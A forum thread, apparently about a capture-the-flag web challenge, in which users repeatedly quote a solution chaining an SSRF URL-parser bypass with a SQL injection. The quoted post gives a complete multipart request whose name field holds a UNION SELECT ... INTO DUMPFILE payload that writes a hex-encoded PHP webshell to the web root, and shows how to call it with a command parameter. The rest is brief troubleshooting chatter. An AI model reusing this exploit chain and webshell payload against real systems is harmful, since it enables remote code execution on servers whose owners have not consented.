[Kazukisora]

SSTI via smarty won't work (it just assigns changes as string to the template), solution is to edit your name to an SQL Injection, as it is vulnerable, can be seen in the stored sql procedure "CALL searchUser(?)".
SSRF bypass via:

0://127.0.0.1:80;motherland.com:80

also change keys to the needed parameters (new_name,action)
you get an timeout on the response, the request is made nonetheless
SQL Injection:
Finally you send a php rev-shell via union select injection and dumpfile method. Of course you need to visit index.php once (it gets an error, but shell.php is dumped).

Call your webshell via

IP:PORT/shell.php?c=id 

Fullrequest to send on the communicate.php-Form:

-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="url"
0://127.0.0.1:80;motherland.com:80
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[new_name]"
' UNION SELECT null,null,null,null,0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/shell.php';-- -
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[action]"
edit
-----------------------------7015243834049105822183817384--

hey bro i tried to bay pass that pars methods and it's works but the problem is with cURL php method is always return 0 bytes error i guess cause is not resolvin the host cause we give it like 127.0.0.1;motherland.com which not valide

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[Kazukisora]

SSTI via smarty won't work (it just assigns changes as string to the template), solution is to edit your name to an SQL Injection, as it is vulnerable, can be seen in the stored sql procedure "CALL searchUser(?)".
SSRF bypass via:

0://127.0.0.1:80;motherland.com:80

also change keys to the needed parameters (new_name,action)
you get an timeout on the response, the request is made nonetheless
SQL Injection:
Finally you send a php rev-shell via union select injection and dumpfile method. Of course you need to visit index.php once (it gets an error, but shell.php is dumped).

Call your webshell via

IP:PORT/shell.php?c=id 

Fullrequest to send on the communicate.php-Form:

-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="url"
0://127.0.0.1:80;motherland.com:80
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[new_name]"
' UNION SELECT null,null,null,null,0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/shell.php';-- -
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[action]"
edit
-----------------------------7015243834049105822183817384--

hey bro i tried to bay pass that pars methods and it's works but the problem is with cURL php method is always return 0 bytes error i guess cause is not resolvin the host cause we give it like 127.0.0.1;motherland.com which not valide

nvm go it

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[StingEm]

SSTI via smarty won't work (it just assigns changes as string to the template), solution is to edit your name to an SQL Injection, as it is vulnerable, can be seen in the stored sql procedure "CALL searchUser(?)".
SSRF bypass via:

0://127.0.0.1:80;motherland.com:80

also change keys to the needed parameters (new_name,action)
you get an timeout on the response, the request is made nonetheless
SQL Injection:
Finally you send a php rev-shell via union select injection and dumpfile method. Of course you need to visit index.php once (it gets an error, but shell.php is dumped).

Call your webshell via

IP:PORT/shell.php?c=id 

Fullrequest to send on the communicate.php-Form:

-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="url"
0://127.0.0.1:80;motherland.com:80
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[new_name]"
' UNION SELECT null,null,null,null,0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/shell.php';-- -
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[action]"
edit
-----------------------------7015243834049105822183817384--

Wait... sorry so have I been going about this all wrong?? I was making a script to handle all this and you guys are going it thru burp suite. 
Okay I am sorry - can you please explain to me in detail - cause I think I am going about this the HARD way?

[ent0xE]

SSTI via smarty won't work (it just assigns changes as string to the template), solution is to edit your name to an SQL Injection, as it is vulnerable, can be seen in the stored sql procedure "CALL searchUser(?)".
SSRF bypass via:

0://127.0.0.1:80;motherland.com:80

also change keys to the needed parameters (new_name,action)
you get an timeout on the response, the request is made nonetheless
SQL Injection:
Finally you send a php rev-shell via union select injection and dumpfile method. Of course you need to visit index.php once (it gets an error, but shell.php is dumped).

Call your webshell via

IP:PORT/shell.php?c=id 

Fullrequest to send on the communicate.php-Form:

-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="url"
0://127.0.0.1:80;motherland.com:80
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[new_name]"
' UNION SELECT null,null,null,null,0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/shell.php';-- -
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[action]"
edit
-----------------------------7015243834049105822183817384--

Wait... sorry so have I been going about this all wrong?? I was making a script to handle all this and you guys are going it thru burp suite. 
Okay I am sorry - can you please explain to me in detail - cause I think I am going about this the HARD way?

Where do you struggle?

In simple terms we send a SSRF request on communicate.php endpoint to index.php (route "edit") to change our name to an SQL Injection, which gets called on the stored procedure "$query = "CALL searchUser(?)";". The SQL-Injections writes a webshell. 
SSRF is necessary because only localhost is allowed to call up the "edit" route on index.php.

Why the SSRF works; this article explains it very well: https://medium.com/@themiddleblue/php-ss...422cb28d51

[test888]

Not the easiest of challenges

[test888]

SSTI via smarty won't work (it just assigns changes as string to the template), solution is to edit your name to an SQL Injection, as it is vulnerable, can be seen in the stored sql procedure "CALL searchUser(?)".
SSRF bypass via:

0://127.0.0.1:80;motherland.com:80

also change keys to the needed parameters (new_name,action)
you get an timeout on the response, the request is made nonetheless
SQL Injection:
Finally you send a php rev-shell via union select injection and dumpfile method. Of course you need to visit index.php once (it gets an error, but shell.php is dumped).

Call your webshell via

IP:PORT/shell.php?c=id 

Fullrequest to send on the communicate.php-Form:

-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="url"
0://127.0.0.1:80;motherland.com:80
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[new_name]"
' UNION SELECT null,null,null,null,0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/shell.php';-- -
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[action]"
edit
-----------------------------7015243834049105822183817384--

hey bro i tried to bay pass that pars methods and it's works but the problem is with cURL php method is always return 0 bytes error i guess cause is not resolvin the host cause we give it like 127.0.0.1;motherland.com which not valide

nvm go it

Could you explain how you got it? I get a cURL error each time I try to send this request.

[Kazukisora]

SSTI via smarty won't work (it just assigns changes as string to the template), solution is to edit your name to an SQL Injection, as it is vulnerable, can be seen in the stored sql procedure "CALL searchUser(?)".
SSRF bypass via:

0://127.0.0.1:80;motherland.com:80

also change keys to the needed parameters (new_name,action)
you get an timeout on the response, the request is made nonetheless
SQL Injection:
Finally you send a php rev-shell via union select injection and dumpfile method. Of course you need to visit index.php once (it gets an error, but shell.php is dumped).

Call your webshell via

IP:PORT/shell.php?c=id 

Fullrequest to send on the communicate.php-Form:

-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="url"
0://127.0.0.1:80;motherland.com:80
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[new_name]"
' UNION SELECT null,null,null,null,0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/shell.php';-- -
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[action]"
edit
-----------------------------7015243834049105822183817384--

hey bro i tried to bay pass that pars methods and it's works but the problem is with cURL php method is always return 0 bytes error i guess cause is not resolvin the host cause we give it like 127.0.0.1;motherland.com which not valide

nvm go it

Could you explain how you got it? I get a cURL error each time I try to send this request.

Try firsts like to change you're user name first to test it's working although it's working you will get pbbytes error curl error should not be the Case if you successful baypassed the url check can you send the your request ?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[test888]

SSTI via smarty won't work (it just assigns changes as string to the template), solution is to edit your name to an SQL Injection, as it is vulnerable, can be seen in the stored sql procedure "CALL searchUser(?)".
SSRF bypass via:

0://127.0.0.1:80;motherland.com:80

also change keys to the needed parameters (new_name,action)
you get an timeout on the response, the request is made nonetheless
SQL Injection:
Finally you send a php rev-shell via union select injection and dumpfile method. Of course you need to visit index.php once (it gets an error, but shell.php is dumped).

Call your webshell via

IP:PORT/shell.php?c=id 

Fullrequest to send on the communicate.php-Form:

-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="url"
0://127.0.0.1:80;motherland.com:80
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[new_name]"
' UNION SELECT null,null,null,null,0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/shell.php';-- -
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[action]"
edit
-----------------------------7015243834049105822183817384--

hey bro i tried to bay pass that pars methods and it's works but the problem is with cURL php method is always return 0 bytes error i guess cause is not resolvin the host cause we give it like 127.0.0.1;motherland.com which not valide

nvm go it

Could you explain how you got it? I get a cURL error each time I try to send this request.

Try firsts like to change you're user name first to test it's working although it's working you will get pbbytes error curl error should not be the Case if you successful baypassed the url check can you send the your request ?

Yep, thanks, it worked eventually

[Kazukisora]

hey bro i tried to bay pass that pars methods and it's works but the problem is with cURL php method is always return 0 bytes error i guess cause is not resolvin the host cause we give it like 127.0.0.1;motherland.com which not valide

nvm go it

Could you explain how you got it? I get a cURL error each time I try to send this request.

Try firsts like to change you're user name first to test it's working although it's working you will get pbbytes error curl error should not be the Case if you successful baypassed the url check can you send the your request ?

Yep, thanks, it worked eventually

Great ?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[BlackBeer]

SSTI via smarty won't work (it just assigns changes as string to the template), solution is to edit your name to an SQL Injection, as it is vulnerable, can be seen in the stored sql procedure "CALL searchUser(?)".
SSRF bypass via:

0://127.0.0.1:80;motherland.com:80

also change keys to the needed parameters (new_name,action)
you get an timeout on the response, the request is made nonetheless
SQL Injection:
Finally you send a php rev-shell via union select injection and dumpfile method. Of course you need to visit index.php once (it gets an error, but shell.php is dumped).

Call your webshell via

IP:PORT/shell.php?c=id 

Fullrequest to send on the communicate.php-Form:

-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="url"
0://127.0.0.1:80;motherland.com:80
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[new_name]"
' UNION SELECT null,null,null,null,0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/shell.php';-- -
-----------------------------7015243834049105822183817384
Content-Disposition: form-data; name="data[action]"
edit
-----------------------------7015243834049105822183817384--

hey bro i tried to bay pass that pars methods and it's works but the problem is with cURL php method is always return 0 bytes error i guess cause is not resolvin the host cause we give it like 127.0.0.1;motherland.com which not valide

nvm go it

Could you explain how you got it? I get a cURL error each time I try to send this request.

Try firsts like to change you're user name first to test it's working although it's working you will get pbbytes error curl error should not be the Case if you successful baypassed the url check can you send the your request ?

This helped get me un stuck, got it.